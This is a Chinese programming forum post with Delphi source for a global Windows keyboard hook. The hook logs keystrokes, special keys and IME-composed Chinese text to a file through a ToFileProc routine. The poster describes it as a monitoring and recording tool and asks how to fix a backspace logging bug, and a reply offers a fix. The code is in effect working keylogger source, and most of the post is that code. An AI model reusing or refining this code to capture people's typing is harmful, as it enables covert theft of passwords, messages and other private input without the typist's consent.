| 关键词: nbsp 字符串 cchar ImmGetCompositio then end wParam ToFileProc himc nString |
一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)一个问题:自己测试发现遇到退格键时会记录成[<=](多出前面一个),下面给出关键代码,大家试试看还有什么问题,如何解决?function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;varpcs:pMSG;beginResult:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);if (nCode = HC_ACTION) thenbeginpcs:=PMSG(lparam);if pcs^.message = WM_KEYUP thenbegin if pcs^.wParam<$30 then begin if pcs^.wParam=VK_UP then ToFileProc('[↑]') else if pcs^.wParam=VK_LEFT then ToFileProc('[←]') else if pcs^.wParam=VK_RIGHT then ToFileProc('[→]') else if pcs^.wParam=VK_DOWN then ToFileProc('[↓]') else if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了 else if pcs^.wParam=VK_TAB then ToFileProc('[Tab]') else if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]') else if PCS^.wParam=VK_Delete then ToFileProc('[Del]') else if PCS^.wParam=VK_MENU then ToFileProc('[Alt]') else if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]'); end;endelseif pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)begin if not (IsDBCSleadByte(pcs^.wParam)) then begin if (wParam and PM_REMOVE)>0 then begin if pcs^.wParam=VK_SPACE then ToFileProc(' ') else if pcs^.wParam=VK_RETURN then ToFileProc('#10') else ToFileProc(char(pcs^.wParam AND $FF)) end; end;end;end;pcs:=nil;end;function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;vardwLen:DWORD;himc:HWND;hFocus:THandle;pcs:PCWPSTRUCT;beginResult:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);if (nCode = HC_ACTION) thenbeginpcs:=PCWPSTRUCT(lparam);if PCs^.message = WM_IME_COMPOSITION then begin hFocus := GetFocus(); HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄 if HIMC = 0 then Exit; //将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0); if dwLen > 0 then begin // 再调用一次.ImmGetCompositionString获取字符串 if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then begin if strcomp(cchar,cchar2)<>0 then ToFileProc(cchar); strcopy(cchar2,cchar); ZeroMemory(@cchar,20); end; end; ImmReleaseContext(hFocus, HIMC);end;end;pcs:=nil;end;删除前面一个字符串就好了这个东西你可以先声明一个string.然后有消息进入的时候事先读取已经存储的字符串然后删除前面一位再写回去就好了或者你直接操作字符串也可以把当前输入指针的前面一位给替换撑0x00就OK了 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|